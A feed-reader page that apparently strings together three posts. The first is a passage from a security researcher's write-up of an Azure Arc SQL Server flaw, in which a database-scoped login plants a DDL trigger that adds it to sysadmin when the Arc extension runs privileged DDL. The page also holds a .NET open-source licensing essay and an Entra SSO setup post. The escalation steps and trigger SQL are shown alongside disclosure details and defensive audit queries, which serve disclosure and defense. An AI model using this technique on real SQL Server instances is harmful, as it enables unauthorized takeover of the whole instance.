FROM [SQLArcExtensionUserRole]; 
 
REVOKE EXECUTE 
FROM [SQLArcExtensionUserRole];

These statements cause trg_AzureArc_DdlHijack to execute. The following statement inside the trigger now succeeds: 

ALTER SERVER ROLE [sysadmin] 
ADD MEMBER [TestLogin1];

The Azure Arc operation has now effectively become a privileged deputy for the attacker. 

Step 8: Verify the privilege escalation 

After onboarding or configuration completes, check the login’s server-role membership: 

SELECT 
    IS_SRVROLEMEMBER 
    ( 
        'sysadmin', 
        'TestLogin1' 
    ) AS IsSysAdmin; 
GO

The observed result is:

IsSysAdmin 
---------- 
1

TestLogin1 has escalated to sysadmin across the entire SQL Server instance. No vulnerability in password authentication was required, no stolen administrator credential was required, and no direct server-level permission was granted to the attacker. 

The attacker simply prepared code in a database they were authorized to administer. The Microsoft-managed extension then executed inside that database with enough authority to convert the prepared code into full instance compromise. 

Step 9: Review the trigger evidence 

Query the logging table: 

USE TestDB1; 
GO 
 
SELECT 
    Id, 
    EventType, 
    LoginName, 
    UserName, 
    OriginalLoginName, 
    IsSysAdmin, 
    CommandText, 
    CreatedAt 
FROM dbo.tbl_DdlTrigger 
ORDER BY Id; 
GO

The observed event types included: 

CREATE_USER 
CREATE_ROLE 
ADD_ROLE_MEMBER 
REVOKE_DATABASE

The recorded command text contained Azure Arc-related database configuration activity. The evidence demonstrates three important facts: 

1. The Azure Arc SQL extension executed DDL inside TestDB1

2. The extension’s commands fired the attacker-controlled trigger. 

3. The trigger had enough inherited authority to execute server-level administrative operations. 

The final transition from database-level authority to instance-level sysadmin was therefore not performed by TestLogin1 alone. Instead, it depended on the privileged execution context introduced by Azure Arc. 

Protect your data. Demonstrate compliance.

With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery & masking, and demonstrate compliance with traceability across every environment.
Learn more

Why is this an Azure Arc vulnerability and not just a SQL Server trigger risk?

Microsoft’s position (low severity assessment) is based on the fact that SQL Server documents the risks associated with executable database code and elevated trigger execution.  

That documentation describes the underlying SQL Server behavior, but doesn’t answer whether the Azure Arc SQL extension is actually using that behavior safely

The extension: 

  • Enters customer-controlled databases. 
  • Executes commands that invoke database-level DDL triggers. 
  • Uses an identity with server-level authority. 
  • Exposes that authority to code controlled by a database-scoped principal. 
  • Performs database operations without first reducing its effective security context. 

These are Azure Arc execution-model decisions – after all, the trigger doesn’t magically acquire server-level authority just by existing! The authority comes from the caller. So, without the Azure Arc operation, the trigger’s attempt to add TestLogin1 to sysadmin fails.

With the Azure Arc operation, however, it succeeds. Rather than being incidental to the exploit, the privileged caller is, in fact, the component that completes it. 

This is a classic privileged-callback or confused-deputy pattern: 

Attacker controls callback 
           + 
Privileged service invokes callback 
           = 
Attacker gains service authority

In my opinion, describing the callback mechanism as documented does not make invoking it with excessive privileges safe. 

The Microsoft disclosure timeline 

I submitted the vulnerability to the Microsoft Security Response Center (MSRC) on June 8, 2026. In response, Microsoft opened MSRC Case 121160.

The original report included: 

  • A description of the vulnerable workflow. 
  • The expected security boundary. 
  • Complete reproduction steps. 
  • SQL code for the trigger. 
  • Evidence collected from the trigger. 
  • SQL Server Profiler observations. 
  • A video demonstrating the complete escalation. 
  • Recommendations for reducing the Arc execution context. 

Then, after more than a month (July 15, 2026), Microsoft classified the vulnerability as Low severity. Their explanation was that exploitation requires membership in db_ddladmin, which it described as a highly privileged role not recommended for production use. 

I’ve to confess that I was very surprised to read that db_ddladmin is not recommended for production use. Microsoft also referred to documentation warning that members of the role can potentially elevate privileges by manipulating code that may later execute under a more privileged context. 

They concluded: 

  • The case did not meet its bar for immediate servicing. 
  • MSRC would not continue tracking the issue. 
  • The report would be shared with the responsible product team. 

Microsoft’s argument 

Microsoft’s assessment can be summarized as follows: 

1. db_ddladmin (or equivalent permission to create a trigger) is a highly privileged database role/privilege. 

2. Users can create or modify executable database objects. 

3. Microsoft documents that such objects may later execute under elevated contexts. 

4. Administrators should therefore treat the role/privilege carefully. 

5. Escalation through a DDL trigger is part of the documented SQL Server security model. 

6.  The path from db_ddladmin (or equivalent) to sysadmin is, consequently, as expected. It does not represent a security-boundary violation. 

7.  The issue is Low severity and below the bar for immediate servicing

To note, I do agree that users with permission to create or alter executable database objects can prepare code that becomes dangerous when invoked by a privileged principal.

However, I also disagree with some points, as I’ll outline next.

Why I disagree with Microsoft 

Here’s what I disagree with Microsoft about, and why.

db_ddladmin (or equivalent permission to create a trigger) is not sysadmin 

A user with db_ddladmin permissions in a database (or equivalent permission to create a trigger), has powerful control over that database. They don’t, however, have unrestricted control over the SQL Server instance. 

If Microsoft considers this equivalent to sysadmin, SQL Server should explicitly treat it that way – but it doesn’t. The direct server-level escalation command fails before the Azure Arc operation, demonstrating the boundary more clearly than any documentation wording: 

ALTER SERVER ROLE [sysadmin] 
ADD MEMBER [TestLogin1]; 

The login can’t execute this – but if the path to sysadmin were truly an expected privilege, it would be able to (and without needing to wait for a Microsoft service to enter the database with elevated authority.)

The documentation warns privileged callers, not only database administrators 

Microsoft relies heavily on documentation explaining that code created by database users can be dangerous when executed by a more privileged context – a warning that applies directly to the Azure Arc SQL extension.

I agree with this. A privileged component that enters a database containing user-controlled executable objects must assume those objects are hostile. The correct response is not:

The attacker was allowed to create the callback, so the privileged service is not responsible for invoking it with excessive authority.

That logic transfers responsibility away from the privileged component even though the component supplies the exact permission required to complete the attack.

My disagreement is therefore not whether SQL Server documents the trigger behavior – it does. The question is whether Azure Arc’s privileged configuration workflow should invoke that documented mechanism while carrying server-level authority into a database where less-privileged principals can control executable metadata.

The argument is circular 

Microsoft’s reasoning can be reduced to: db_ddladmin can be dangerous because privileged code may execute objects created by the role. The Azure Arc extension then does exactly that, executing privileged DDL in a database containing objects controlled by db_ddladmin.

Microsoft then concludes: Because this behavior is documented as dangerous, the resulting privilege escalation is expected. 

Overall, this is circular. The documentation identifies a dangerous pattern, the Arc extension implements the dangerous pattern, and Microsoft then uses the documentation describing the danger as justification for leaving the dangerous implementation. 

Documentation can warn customers about a risk, but doesn’t convert an avoidable unsafe design into a safe one. 

The attacker does not possess the decisive privilege 

The attacker controls the trigger body. It doesn’t possess the authority needed to execute:

ALTER SERVER ROLE [sysadmin] 
ADD MEMBER [TestLogin1];

Azure Arc possesses that authority, and that’s how the exploit succeeds: Azure Arc invokes attacker-controlled code while retaining its authority. This is the decisive fact.

With that in mind, the question is: Should a Microsoft-managed service expose unrestricted server-level authority to code controlled by a database-scoped principal? 

My answer is no. 

The assessment creates an unreasonable customer-security model 

In Microsoft’s reasoning, customers must assume that granting db_ddladmin (or equivalent permission to create a trigger) in any database may eventually grant the recipient sysadmin whenever a sufficiently privileged Microsoft or third-party service performs DDL in that database. 

That’s a much broader security statement than saying the role can administer database DDL! It would mean organizations can’t safely delegate database schema administration while retaining central control over the SQL Server instance. 

Many production environments separate responsibilities: 

  • Application teams manage schemas in specific databases. 
  • Database administrators manage the SQL Server instance. 
  • Service accounts perform deployment or monitoring functions. 
  • Platform teams configure Azure integrations. 
  • Security teams maintain server-level controls. 

A database-scoped administrator unexpectedly obtaining server-wide control destroys that separation. 

Microsoft’s classification effectively places the burden on customers to anticipate every privileged product operation that might invoke every form of executable database metadata. This isn’t a realistic security model for a cloud-management extension. 

“By design” is not the same as “secure by design” 

A behavior can be intentional, documented, and still unsafe. “By design” only answers one question: Does the product behave as its developers currently expect? 

It does not answer: Is the design appropriate for a privileged service operating in attacker-influenceable security scopes? 

The SQL Server trigger engine may be functioning exactly as designed, and perhaps the Azure Arc SQL extension is also performing its current workflow exactly as implemented. The vulnerability exists in how those designs interact. 

The trigger engine executes a trigger under the caller’s context, and Azure Arc supplies an unnecessarily powerful caller. The combination allows a database-scoped principal to seize server-level control – a security design problem even if every individual component follows its documented behavior. 

Subscribe to the Simple Talk newsletter

Get selected articles, event information, podcasts and other industry content delivered straight to your inbox.
Subscribe

How severe is this vulnerability?

Microsoft assessed the case as Low, but I don’t believe this reflects the technical impact. 

The attack requires: 

  • An authenticated SQL Server login or Windows principal. 
  • Membership in db_ddladmin, or equivalent trigger-creation permissions, in one user database. 
  • An Azure Arc operation that performs privileged DDL inside that database. 

All of these are meaningful preconditions and should reduce the severity compared with an unauthenticated remote compromise. They do not, however, reduce the final impact to Low

This is because, after exploitation, the attacker obtains: 

  • Full SQL Server administrative authority. 
  • Access outside the originally authorized database. 
  • Persistent control over the instance. 
  • The ability to compromise confidentiality, integrity, and availability. 

The post-exploitation impact is unquestionably high: sysadmin over the SQL Server instance. I understand the prerequisites reduce exploitability (not every login can exploit this), but it’s not enough to justify a low severity assessment for a database-to-server privilege escalation exploit.

What’s the root cause of the vulnerability?

The root cause of the vulnerability is simple: the Azure Arc SQL extension performs database-scoped operations while retaining a security context capable of server-level administration. 

The vulnerable design is: 

Highly privileged Arc identity 
             | 
             v 
Enters a customer-controlled database 
             | 
             v 
Executes DDL that fires customer-controlled triggers 
             | 
             v 
Trigger inherits privileged caller context 
             | 
             v 
Trigger performs server-level operations

The extension fails to establish a safe privilege boundary before invoking extensible database functionality. 

How can Microsoft fix the Azure Arc DDL trigger privilege escalation?

Here’s what I suggest Microsoft do to fix this vulnerability.

1. Use a constrained database-scoped principal 

Before executing DDL in a user database, the extension should switch to a dedicated database-scoped principal with only the permissions required for that operation. Conceptually: 

USE [TargetDatabase]; 
GO 
 
EXECUTE AS USER = 'SQLArcRestrictedUser'; 
GO 
 
-- Perform only the required database-level operations. 
 
REVERT; 
GO

The principal should not have an associated server token capable of modifying server roles or executing unrestricted server-level operations. Using a purpose-built restricted user would be preferable to relying broadly on dbo

2. Separate server-level and database-level work 

The extension should divide its workflow into distinct phases: 

1. Perform required server-level configuration under a server-level identity. 

2. Drop the server-level execution token. 

3. Enter each database using a constrained database user. 

4. Perform only the required database-scoped changes. 

5. Return to the server context only after leaving the customer-controlled database. 

A component should not carry unrestricted authority into a lower-trust extensibility boundary unless strictly necessary. 

3. Adopt least privilege by default 

Least privilege should not require customers to discover and enable a safer optional configuration after deployment. The secure execution model should be the default. 

Legacy compatibility may require a transition period, but this doesn’t justify making the more dangerous execution model the permanent default. 

4. Review all Azure Arc database interactions 

Microsoft should review any Azure Arc extension workflow that: 

  • Executes DDL in user databases. 
  • Creates or modifies database principals. 
  • Changes role memberships. 
  • Grants or revokes permissions. 
  • Performs inventory or assessment operations. 
  • Deploys objects. 
  • Updates extension-owned objects. 
  • Executes stored procedures in customer-controlled databases. 

DDL triggers are just one callback mechanism. The broader security requirement is that privileged service operations must not unintentionally invoke customer-controlled code with excessive authority. 

5. Clearly document the privileged execution model 

Microsoft should revise the Azure Arc-enabled SQL Server documentation to clearly describe the complete security context used during onboarding, permission reconciliation, feature configuration, and extension updates. 

The current documentation describes different parts of the execution model across several pages, but doesn’t present them together in a way that allows customers to understand the actual privilege boundary

For example, Microsoft’s documentation for the roles created by the Azure Extension for SQL Server states that, in non-least-privilege mode, the extension: 

  • Creates the SQLArcExtensionServerRole server role. 
  • Creates the SQLArcExtensionUserRole database role. 
  • Maps NT AUTHORITY\SYSTEM into each database. 
  • Grants the permissions required by the enabled features. 

The same page says that the Deployer must connect to SQL Server as NT AUTHORITY\SYSTEM. It then lists permissions such as CONNECT SQL, VIEW SERVER STATE, VIEW ANY DEFINITION, VIEW ANY DATABASE, and CONNECT ANY DATABASE.

Read in isolation, this can reasonably give customers the impression that the extension connects and performs its work using only the restricted permissions assigned through these Arc-specific roles. 

However, another Microsoft document explains a materially different and much more security-sensitive part of the process…

The contradiction

The least-privilege configuration documentation states that: 

  • The SQL Server service account must be a member of the sysadmin fixed server role. 
  • Deployer.exe impersonates the SQL Server service account when connecting to SQL Server. 
  • The privileged connection is used to add or remove permissions in server-level and database-level roles. 

Microsoft even advises customers who do not want the SQL Server service account to remain permanently in sysadmin to grant it sysadmin temporarily, allow Deployer.exe to run, then remove it again. 

This materially changes the security assumptions customers must make when Azure Arc performs operations inside their databases. 

How I would make the documentation clearer

So, in my opinion, the documentation should explicitly distinguish between: 

  1. The Windows process identity running Deployer.exe
  1. The Windows identity used for integrated SQL Server authentication. 
  1. Any SQL Server service account impersonated by the Deployer. 
  1. The effective SQL Server login token used to execute each operation. 
  1. The temporary or permanent server-level permissions available to that token. 
  1. The restricted permissions later assigned to the Arc extension service account. 
  1. The difference between the bootstrap Deployer and the long-running Extension Service. 

Currently, all references to LocalSystem, NT AUTHORITY\SYSTEM, the SQL Server service account, Arc-specific roles, and least-privilege permissions are distributed across different documents. The documentation does not clearly show which identity executes each SQL statement, or when the operation runs with sysadmin or equivalent server-level authority. 

This ambiguity is especially important because Microsoft’s own SQL Server trigger-security documentation warns that DDL triggers execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them CONTROL SERVER when a sysadmin later executes an otherwise legitimate DDL statement. 

Azure Arc performs exactly the kind of privileged DDL operation described in that warning. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers. 

The explicit warning I’d include in the document

Microsoft’s Azure Arc documentation should therefore include an explicit warning similar to: 

During onboarding and permission configuration, the Azure Extension for SQL Server Deployer can connect using a highly privileged SQL Server execution context. Database-level DDL statements executed by the Deployer can cause existing database DDL triggers to run under that context. Before onboarding a SQL Server instance or enabling Arc features, administrators should review all database-level DDL triggers and ensure that no trigger can perform unintended server-level operations. 

Clearer documentation alone wouldn’t correct the underlying privilege escalation condition, but it would allow customers to understand the real security implications of onboarding SQL Server to Azure Arc so that they can take reasonable precautions until the execution model is changed. 

Customer mitigations 

Until the execution model is changed, organizations using Azure Arc-enabled SQL Server should consider the following defensive measures. 

Review membership in db_ddladmin and equivalent permissions sufficient to create a database-level DDL trigger 

Identify all members of the role: 

SELECT 

    DB_NAME() AS DatabaseName, 

    roles.name AS RoleName, 

    members.name AS MemberName, 

    members.type_desc AS MemberType 

FROM sys.database_role_members AS drm 

INNER JOIN sys.database_principals AS roles 

    ON roles.principal_id = drm.role_principal_id 

INNER JOIN sys.database_principals AS members 

    ON members.principal_id = drm.member_principal_id 

WHERE roles.name IN (N'db_ddladmin', N'db_owner');

Run the query in every database and remove any memberships that are no longer necessary. 

Review database-level DDL triggers 

To review database-level DDL triggers, use:

SELECT 
    name, 
    parent_class_desc, 
    create_date, 
    modify_date, 
    is_disabled, 
    OBJECT_DEFINITION(object_id) AS TriggerDefinition 
FROM sys.triggers 
WHERE parent_class_desc = N'DATABASE';

Review triggers for server-level commands, dynamic SQL, role changes, login creation, configuration changes, calls to privileged procedures, obfuscated or encrypted code, unexpected ownership and/or recent modifications.

Monitor trigger creation and alteration 

Audit events such as CREATE_TRIGGER, ALTER_TRIGGER, and DROP_TRIGGER. Also audit database role membership changes, grants of ALTER ANY DATABASE DDL TRIGGER, and grants of broad database DDL permissions.

A trigger does not need to remain enabled forever. An attacker may create it shortly before an expected extension operation and remove it after escalation. 

Review Azure Arc’s effective SQL Server permissions 

Determine which login or service identity the extension uses and what server-level authority it holds. Organizations should understand whether extension database operations are occurring under sysadmin, CONTROL SERVER,
NT AUTHORITY\SYSTEM, a custom server role, or another high-privilege service identity.

The relevant risk is the effective SQL Server token, not merely the Windows account name. 

Isolate duties where possible 

Do not assume that database schema administrators are automatically safe from server-wide escalation simply because their explicit permissions are database-scoped. 

Where Azure Arc or another privileged management tool operates in the same databases: 

  • Minimize delegated DDL authority. 
  • Separate administrative identities. 
  • Monitor privileged service activity. 
  • Review all extensibility mechanisms. 
  • Test service operations against hostile database objects. 

Final thoughts 

The demonstrated behavior is not in dispute: a database-scoped principal that cannot directly modify the sysadmin role can create a DDL trigger that later succeeds in doing so when Azure Arc performs privileged DDL inside that database.

Microsoft’s position is that this result follows SQL Server’s documented trigger security model and, given the attacker’s prerequisite permissions, does not cross a recognized SQL Server security boundary. I disagree with that assessment.

The fact that SQL Server documents the risk of privileged callers executing attacker-controlled trigger code explains why the escalation works. In my view, it does not resolve the separate question of whether a privileged management component should expose its server-level authority to that code.

Azure Arc’s execution model is particularly relevant because Microsoft’s own documentation shows that Deployer.exe performs privileged SQL Server configuration operations and that least-privilege operation is not currently the default.

When such a component enters a database containing executable metadata controlled by a less-privileged principal, that database should be treated as a lower-trust execution boundary. If Microsoft recommends that customers avoid this pattern, why does Azure Arc do it anyway?

FAQs: The Azure Arc SQL Server privilege escalation vulnerability

1. What is the Azure Arc SQL Server privilege escalation vulnerability?

A login with db_ddladmin (or equivalent trigger-creation rights) in one database creates a malicious DDL trigger. When Azure Arc’s SQL extension later runs onboarding/configuration DDL in that database using its privileged identity, the trigger fires under that elevated context and adds the login to sysadmin.

2. Does this require db_ddladmin specifically?

No — any permission sufficient to create a database-level DDL trigger works. db_ddladmin is just the common example, and it’s database-scoped, not server-level, by design.

3. Is db_ddladmin the same as sysadmin?

No. db_ddladmin manages objects within one database; sysadmin controls the entire instance. The bug matters because it converts one into the other without authorization.

4. How does the attack actually work?

The attacker plants a trigger that tries to add their login to sysadmin — which fails under their own permissions. When Azure Arc later fires that trigger during a privileged DDL operation, the same command succeeds.

5. What did Microsoft say about this vulnerability?

MSRC rated it Low severity and issued no CVE, arguing db_ddladmin is already a high-privilege, escalation-capable role. The researcher disputes this, citing a similar case (108226) that Microsoft rated Important.

6. What's the actual impact if exploited?

Full sysadmin takeover of the instance: access to every database, new logins, config changes, disabled auditing, and persistence.

7. How can organizations mitigate this today?

Audit db_ddladmin/db_owner membership across databases, review existing DDL triggers for server-level commands, monitor trigger creation events, and confirm what privilege level Azure Arc’s identity actually holds.

8. Has Microsoft released a fix?

No CVE or patch as of the disclosure timeline. Microsoft calls the behavior expected under existing trigger-security documentation; the researcher argues Azure Arc’s execution model should be redesigned regardless.

References 

The post How Azure Arc allows a DB admin to become SQL Server sysadmin – the vulnerability explained appeared first on Simple Talk.

Read the whole story
alvinashcraft
15 seconds ago
reply
Pennsylvania, USA
Share this story
Delete

The .NET OSS Relicensing Panic Is an Incentives Problem

1 Share

A couple of popular open source projects in the .NET ecosystem, first Verify and now Polly - have adopted (or are thinking about adopting) the Open Source Maintenance Fee to support the long-term development of their projects.

What follows is the popular cycle of rancor, procurement rage, sad /r/dotnet users, and another popular .NET library monetizing the library itself to sustain the OSS project.

Things are different than when I first started writing about IdentityServer relicensing five years ago.

IdentityServer has been very successful commercially since relicensing and everyone can see it, serving as an inspiration for many other maintainers.

Maintainers are no longer intimidated by u/CheetoDustedFatPig or u/DisgruntledMidCoder expressing public disapproval on /r/dotnet. The .NET Foundation is absolutely powerless to stop its own projects from leaving and relicensing1.

In short, what we have here is the classic incentives problem that has always faced OSS maintainers and their commercial users.

What’s different this time is the maintainers have a proven go-to-market strategy for essentially sticking a loaded gun into the mouths of corporate users and demanding that they pay or face the consequences.

There’s a way to put a stop to the cycle of relicensing, but will anyone listen?

The Impact of the Open Source Maintenance Fee

The OSMF isn’t quite the same as relicensing, a subject I’ve covered in the .NET space before, but it’s adjacent to it and it impacts users in a similar way. The difference comes down to what each mechanism actually touches.

In other words, relicensing changes the deal on both the code and the artifacts you ship, while the OSMF leaves the open source license untouched and simply attaches a convenience fee to consuming the publicly available binary.

Relicensing affects both the source code and the published binary. The Open Source Maintenance Fee leaves the source code untouched and only affects the published binary. Relicensing vs. the Open Source Maintenance Fee What each one actually touches Source code Published binary Relicensing MIT → BSL Affected Your right to read, fork & modify the source changes Affected New terms to consume the binary you ship Maintenance Fee source stays OSI-licensed Untouched Build it yourself, for free, forever Affected Commercial users pay to consume the package Either way, commercial users pay. aaronstannard.com

With all due respect to Rob Mensching, the creator of OSMF and a friend of mine - this is a legal distinction, not a practical one for consumers of open source. If you can’t use the public binaries, you’ll need to build and host your own.

It’s not the same level of commitment as maintaining a fork of the pre-license-change project (which you’d need to do with relicensing) but it’s still a logistical and operational hurdle for adopters.

In either case, relicensing or adoption of the OSMF, the consequence is the same: you can’t consume the publicly available binaries without some remuneration to the maintainers if you’re a commercial user of the software.

Protecting Yourself from Third Party OSS

I wanted to highlight this comment from a redditor that I think is representative of how many consumers are looking at third party open source in the .NET ecosystem right now:

The comment that kicked off the thread

What makes arguing about the OSMF somewhat ridiculous on the part of most redditors is how little money the maintainers are asking for - a $20 per month donation via GitHub Sponsors. Really? If you’re making six figures a year working for BigCo and you’re nervous or scared about talking to your company’s idiotic procurement bureaucracy, just pay it yourself and move on.

But since it’s 2026 and we can’t do sensible things, let’s go through all of the trouble of:

  1. Creating our own parallel package delivery and build infrastructure for third party packages;
  2. Maintaining our own sync cadence with the upstream - or stay on pinned packages forever and ignore security updates; and
  3. Documenting and institutionalizing this for our organization to operate in perpetuity.

All to avoid having to spend $20 a month.

Or we can go down the road of forgoing third party OSS entirely and become the baying retards who beg Microsoft to solve our problems for us. Given that:

  1. Hope is not a strategy and
  2. Microsoft can’t do every given thing you ever could possibly need

This is going to fail.

Fork It / Maintain It Yourself

There’s a meme, trafficked mostly by people in the business of selling AI coding tools, that we’ll soon just have Claude or Codex write our dependencies for us instead of pulling packages off a public registry. For a self-contained utility, sure - you can probably pull that off. For a UI framework or a distributed system, I’m deeply skeptical, and for two reasons.

First, it isn’t even what the models do. LLMs love dependencies - they lower your total cost of ownership and the models are trained on how to use the popular ones. We see it in our own Akka.NET install data: AI is driving people toward the established libraries, not away from them.

Second, and more important: an LLM doesn’t have any long-term horizon for planning and maintaining an open source project - humans still need to do this.

I’ve maintained Akka.NET for thirteen years, so of course I’ll tell you it’s hard to replace - but here’s a story that’s true whether you trust me or not.

I spent seventy-plus hours last year chasing a single bug in Akka.Cluster.Tools that had shipped in every version since 2015 and could silently spawn two copies of the same cluster singleton, quietly corrupting your data. F5 debugging didn’t find it; unit and integration tests didn’t reproduce it. It only surfaced inside a chaos experiment I built specifically to provoke it - Docker, Kubernetes, and distributed tracing wired into the framework’s internals - and that was just to see it happen.

No downstream consumer is putting in that kind of effort on their own fork, and you’re certainly not prompting your way to it without deep knowledge of the internals and the infrastructure to reproduce the failure.

Large language models aren’t a substitute for determined, experienced people who are motivated to solve a problem for their customers. Maintainers aren’t fungible - sure, someone can spin up a fork, but are you going to still be working on it in ten years?

You’re not escaping the dependencies that matter. That’s exactly why it’s worth paying to have a say in how they’re run.

Front-Running Relicensing

The problem maintainers have in 2026 is that relicensing a popular project and monetizing the project itself is now risk-free in a way it was not five years ago.

If every maintainer prices in:

  1. The people who bitch the loudest about relicensing were never part of my ICP2 - and I’m not really going to suffer any actual reputational damage from pissing them off.
  2. Several other large projects have relicensed and have not just been fine, but it’s worked! Relicensing gets more normalized each time someone does it.
  3. Worst case scenario is my project dies, which is already what would happen if I stopped working on it and never asked for the sale.

Then there’s zero downside to relicensing popular libraries.

If anything, people getting pissed off and angry at you increases your sales by spreading awareness about the change. Angry Reddit posts and YouTube videos are effectively viral marketing for the paid license.

What the redditor was describing is how to become part of the auto-ignored ICP, a forever-irrelevant nonfactor in the maintainer decision-making process.

If the two options presented are:

  1. Isolate yourself from upstream third party dependency changes through a lot of song and dance or
  2. Get mad when relicensing happens and creates a business disruption.

What if there was a third option? Front-run the relicensing by proactively offering to support the project or buying services offered by the maintainer first.

In other words, price in the idea that key dependencies are going to cost you from the very beginning and act accordingly.

An angry consumer with zero skin in the game gives the maintainer zero downside to relicensing. A front-runner who becomes a paying customer gives the maintainer something to lose, making a license change a risky bet. Be a customer, not a donor Who has leverage when the license changes? The angry consumer complains loudly, pays nothing Zero skin in the game Maintainer's downside to relicensing: zero You're in the auto-ignored ICP. The front-runner buys in first, sets the terms Revenue · contracts · goodwill Maintainer now has something to lose Changing the rules becomes a risky bet. Front-run the relicensing. aaronstannard.com

Incentives Matter

While there are a handful of projects that set out to use OSS as a distribution and customer acquisition strategy from the onset, like Pulumi, in most cases open source turns into a business by accident. This is absolutely the case with me, Akka.NET, and Petabridge.

Projects get popular, the original creator wants to help everyone, and this can go on harmoniously for years - but the more popular a project becomes, the more demand there is for the maintainers’ scarce and usually uncompensated time.

The “zero risk” for relicensing originates with the consumers of OSS having zero skin in the game - “I demand you change this free thing, IMMEDIATELY, so I can use it in software that makes me money” is an extremely unpersuasive argument on day 1, let alone day 1000 of maintaining an open source software project.

A third option tries to restore this balance by putting the maintainer in a position where they have something to lose if they relicense or adopt the OSMF: revenue, contractual guarantees, and goodwill from actual customers.

If I’m selling hundreds of thousands of dollars of Akka.NET support contracts each year, do I want to potentially upset that apple cart by pushing for a commercial licensing scheme on top of that? That’s much more of a gamble.

This is the position, you, the consumer, want to put maintainers in: make changing the rules of how OSS is consumed a higher-risk bet. You do this by becoming a customer, not a donor - because when you’re a customer you get things in return for your cash.

When Projects Lack a Business Model

The problem you’ll have from day 1 is that most maintainers are either inept at or totally disinterested in business, and therefore won’t have a business model you can readily support.

Rather than treat this like a blocker, treat it like an opportunity to set the terms of your relationship with the maintainer:

Hi {maintainer}

We love your {project} and want to use it in our applications here at {BigCo}. Would it be possible for us to sponsor you to the tune of {$/yr}? We would do this in exchange for an understanding, in writing that {project stays maintained, maintainer provides private incident response channel, license stays as-is for BigCo so long as sponsorship is maintained, etc}

This is basically writing your own support plan and naming your own price. What you are also doing is insulating your business from a future shock or disruption by making sure you are covered from relicensing risks.

Not every single third party dependency you depend on is going to warrant this, of course. It’s your risk and your choice.

Get Ahead of the Bill

Don’t think about relicensing like something that’s being done to you. It’s a bill coming due. Just like redditors love to argue that maintainers should have never expected to be paid for something they put out there for free, you shouldn’t expect to eat free forever either.

The software your business runs on costs real money, time, and sustained effort to maintain. Maintainers have discovered that a huge portion of their user-base will simply pay if they relicense; that trend will only continue. This is what a functioning market for open source looks like, and we’re early in it.

What you get to decide is whether or not you want to be surprised and disrupted when the bill comes due.

Sponsor the projects that matter to you now, while it’s cheap and you’re the one setting the terms, and you’re a customer the maintainer works to keep. Price it in from the start and it never becomes a crisis. It’s just the cost of using good software.

  1. Don’t take my word for it, read the .NET Foundation’s statement on the OSMF: “The .NET Foundation does not take a position for or against the use of OSMF or similar funding models, whether by projects inside or outside the Foundation.” 

  2. “Ideal customer profile” 

Read the whole story
alvinashcraft
20 seconds ago
reply
Pennsylvania, USA
Share this story
Delete

The Book of Redgate: Evidence

1 Share

We aren’t the only company that does this, but Redgate Software does try to be data driven. Across my 18 years, I’ve had plenty of people use evidence from customers, from usage data, from market research, and more to justify a decision.

I think Google and quite a few other companies have called this being “data-driven.”

2026-06_0203

The text on the next page continues the sentence:

not on people’s opinions, the volume of their voices or who they are. When the evidence changes, we are prepared to change our minds. We will thank, and never shoot, the messenger.

I will say that this has skewed a bit over time, as I find that evidence is subject to interpretation and I’ve certainly seen some people cherry picking evidence to support their decision. Sometimes by asking for certain evidence.

However, we did realize there were issues and have tried to correct. I was part of a yearlong project last year that impacted marketing, product, and engineering where we focused on getting more information from more customers, and especially being careful to get evidence from multiple sources, including different geographies. We had a bias to the UK, so we tried to correct for that, and I think we made some strides.

That being said, I haven’t seen us shoot or blame the messenger for bad news, though sometimes thanks are sometimes not as sincere as they could be. I understand, because contrary news tends to dampen enthusiasm.

I have a copy of the Book of Redgate from 2010. This was a book we produced internally about the company after 10 years in existence. At that time, I’d been there for about 3 years, and it was interesting to learn a some things about the company. This series of posts looks back at the Book of Redgate 15 years later.

The post The Book of Redgate: Evidence appeared first on SQLServerCentral.

Read the whole story
alvinashcraft
29 seconds ago
reply
Pennsylvania, USA
Share this story
Delete

Entra SSO: AWS Took 15 Minutes, GitHub Took a Migration

1 Share

In recent weeks I’ve been implementing single-sign on with Entra for a couple of difference clients. In one case this was for connecting to AWS, and in the other, GitHub. One of these solutions was quite easy—the other one was the company Microsoft owns and was a lot more painful. In this post, you are going to learn about a couple of protocols—Security Assertion Markup Language (SAML) and System for Cross-Domain Identity Management (SCIM—they really worked hard for this acronym). We’re going to talk about the benefits of this config and then how you can implement.

One of the challenges historically around single-sign on (SSO) has been the variety of different providers and having their own ecosystem. I remember a very nascent attempt at this from Oracle (good lord, could you imagine the licensing on that) in the early 2000s, that never really got anywhere. Active Directory was the closest thing we had to ubiquitous access control system, but it mostly required line of site to a domain controller (or the complexities of ADFS). Entra, nee Azure Active Directory really made it possible for your identity management system to interact with lots of third party SaaS apps.

The benefits of single sign on should be obvious, but the biggest is that when you deprovision users in your identity management system, those users are then deprovisioned everywhere. The other benefit is that it allows you to use Entra groups to manage permissions across your systems. You can make application admin teams owners of their own groups, so they can manage their own permissions easily within those apps. (You don’t want to assign users directly if you can help it).

There are two main protocols involved here—the first being SAML, which actually handles the authentication step. There are three roles in SAML: the principal (which is typically the human or machine user), the identity provider or IdP, and the service provider (SP). The SP requests and obtains an authentication token from the IdP and then makes an access control decision to allow the principal to come into the system. This happens at login time. In both our AWS and GitHub examples , we define an identity (our AWS or GitHub organization) on the Entra side and then provide AWS with a certificate and redirect URL to our Entra tenant. That’s the authentication side, which is just one part of this.

 The second part is where SCIM comes in—we want to be able to add users and groups to our app in Entra, and then have them show up in AWS.

For SCIM to work on the Entra side, we pass in a Tenant URL and secret token:

What this does is allows users and groups to be added to the application in Entra, and then pass through into the service on the other side. When we add the group AWSLogin it will show up in AWS. This sync process runs every 40 minutes by default but can be forced manually.

I wanted to complain a minute about GitHub here—I set this up on AWS at client in like 15 minutes, and John and I did for DCAC’s AWS account in even less time. In GitHub, the SAML setup is pretty easy as well—but getting the right SKU for single sign-on is really hard. First of all, GitHub is one of those companies that charges an SSO tax (you can only get SSO on the Enteprise tier). Secondly, you have to have a specific SKU of Enterprise (it’s the same price as regular enterprise at least), but you can’t migrate from another tier to it. So if you have a teams or regular enterprise GitHub account to enable “true” SSO, you need to migrate. Which sucks.  Finally, the docs aren’t clear about this, and you can setup SSO for the non managed user tier, but then your users still have to authenticate to GitHub after completing an Entra login. This is all entirely harder than it needs to be

Single-sign on increases security and makes users lives easier. So even though setup can be a pain in the neck, it’s worth in the end.

Read the whole story
alvinashcraft
